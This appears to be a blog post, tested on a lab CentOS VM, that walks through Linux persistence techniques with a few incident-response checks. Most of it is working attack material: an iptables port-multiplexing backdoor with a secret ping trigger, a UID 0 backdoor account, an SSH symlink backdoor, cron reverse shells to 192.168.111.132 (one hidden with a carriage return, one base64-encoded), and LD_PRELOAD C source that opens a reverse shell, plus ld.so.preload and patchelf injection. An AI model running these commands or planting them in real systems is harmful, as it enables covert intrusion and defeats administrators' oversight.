Advanced Linux Persistence Mechanisms and Incident Response Techniques

Common persistence and privilege retention methods include:

  • Scheduled tasks and cron job backdoors
  • Dynamic library hijacking
  • Malicious shared object injection
  • SSH key-based authentication abuse
  • Port multiplexing techniques
  • SSH symbolic link backdoors
  • Privilege retention tactics
  • Passwordless user accounts
  • Rootkit deployment

Port Multiplexing

Servers typically expose specific ports for services, such as port 80 for HTTP, while blocking direct access to SSH on port 22. Attackers can use port multiplexing to tunnel SSH traffic through an allowed port like 80, redirecting it internally to port 22.

Test Enviromnent

  • OS: CentOS 7 on VMware (192.168.111.131)
  1. Start the SSH service and block direct access to port 22 using iptables:
sudo iptables -I INPUT 5 -s 192.168.111.1 -p tcp --dport 22 -j DROP

# Remove the rule
iptables -D INPUT 5
  1. Configure TCP-based triggering (testing failed):
  • Create a custom chain:
iptables -t nat -N MUXCHAIN
  • Redirect traffic to port 22:
iptables -t nat -A MUXCHAIN -p tcp -j REDIRECT --to-port 22
  • Add source to a tracking list if a specific string is detected:
iptables -A INPUT -p tcp -m string --string 'secretflag' --algo bm -m recent --set --name authlist --rsource -j ACCEPT
  • Remove source from the list:
iptables -A INPUT -p tcp -m string --string 'removeflag' --algo bm -m recent --name authlist --remove -j ACCEPT
  • Redirect HTTP SYN packets from authorized sources to the multiplex chain:
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name authlist --rsource -j MUXCHAIN
  1. Activate the multiplexing:
echo secretflag | socat - tcp:192.168.111.131:80
  1. ICMP-based triggering (testing successful):
  • Set up iptables rules:
iptables -t nat -N MUXCHAIN
iptables -t nat -A MUXCHAIN -p tcp -j REDIRECT --to-port 22
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name authlist --rsource -j ACCEPT
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name authlist --remove -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name authlist --rsource -j MUXCHAIN
  • Trigger from the attacker machine:
ping -c 1 -s 1111 192.168.111.131
  • Deactivate:
ping -c 1 -s 1112 192.168.111.131
  1. Connect via SSH through port 80:
ssh root@192.168.111.131 -p 80

Privilege Retention

UID 0 Accounts

The UID 0 is reserved for the root user. Modifying a user’s UID to 0 grants root-level access.

List users with a valid shell:

cat /etc/passwd | grep "/bin/bash$"

Create a new user with UID 0:

sudo useradd -u 0 newroot          # No home directory
sudo useradd -u 0 -m newroot       # With home directory

Change an existing user’s UID:

sudo usermod -u 0 -o newroot

Audit accounts with UID 0:

awk -F: '$3 == 0 {print $1}' /etc/passwd

Sudoers Misconfiguration

The /etc/sudoers file controls sudo privileges. Users can be configured to execute commands as root without a password.

Example usage after configuration:

sudo su
# Enter user password

SSH Symbolic Link Backdoor

  1. Ensure UsePAM yes is set in /etc/ssh/sshd_config.
  2. Identify PAM configurations that allow root authentication:
find /etc/pam.d | xargs grep "pam_rootok"
  1. Create a symbolic link to the SSH daemon:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=1234
  1. Disable the firewall for testing:
systemctl stop firewalld.service

Alternative method:

cp /etc/pam.d/su /etc/pam.d/java
ln -sf /usr/sbin/sshd /java
/java -oPort=5555

Incident response check:

netstat -anpt
ll /proc/5284

Scheduled Tasks

Common cron paths:

/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/crontab

Reverse shell via cron:

crontab -l | { cat; echo "*/1 * * * * bash -i >& /dev/tcp/192.168.111.132/2333 0>&1"; } | crontab -

Stealthy injection:

(crontab -l;printf "*/1 * * * * bash -i >& /dev/tcp/192.168.111.132/2333 0>&1;\rno crontab for `whoami`%100c\n")|crontab -

Base64 encoded payload in system cron:

echo '*/1 * * * * root echo L2Jpbi9iYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMTEuMTMyLzIzMzMgMDwmMSAyPiYx|base64 -d|sh' >> /etc/cron.d/0hourly

Remove tasks:

crontab -e
crontab -r

Review logs:

cat /var/log/cron
cat -A /var/spool/cron/root

Passwordless Accounts

passwd -d test
echo "PermitEmptyPasswords yes" >> /etc/ssh/sshd_config
service sshd restart

Incident response:

cat /etc/ssh/sshd_config | grep PermitEmpty

Rootkits

LD_PRELOAD Injection

Check current setting:

echo $LD_PRELOAD

Set a malicious shared object:

LD_PRELOAD=/path/to/malicious.so
export LD_PRELOAD

Identify hijackable functions:

readelf -Ws /usr/bin/ls

Example malicious source using strncmp hijack:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("bash -c '/bin/bash -i >& /dev/tcp/192.168.111.132/2333 0>&1'");
}

extern int strncmp(const char *s1, const char *s2, size_t n) {
    if (getenv("LD_PRELOAD") == NULL) return 0;
    unsetenv("LD_PRELOAD");
    payload();
}

Compile:

gcc -shared -fPIC evil.c -o evil.so

Constructor-based execution:

#include <stdlib.h>
#include <stdio.h>

__attribute__((__constructor__)) void preload(void) {
    unsetenv("LD_PRELOAD");
    system("bash -c '/bin/bash -i >& /dev/tcp/192.168.111.132/2333 0>&1'");
}

Persistent loader via /etc/ld.so.preload:

echo "/tmp/evil.so" > /etc/ld.so.preload

Startup Scripts

Place scripts in /etc/init.d/ to execute during boot:

#!/bin/bash
/usr/bin/bsd-port/knerl

Set permissions:

chmod 755 /etc/init.d/selinux

Static Library Hijacking with Patchelf

View library dependencies:

ldd /usr/bin/whoami

Add or remove a malicious library:

./patchelf --add-needed /tmp/evil.so /usr/bin/whoami
./patchelf --remove-needed /tmp/evil.so /usr/bin/whoami

Tags: Linux Security Persistence Mechanisms Incident Response Privilege Escalation Rootkit Analysis

Posted on Thu, 10 Sep 2026 16:37:22 +0000 by shiny_spoon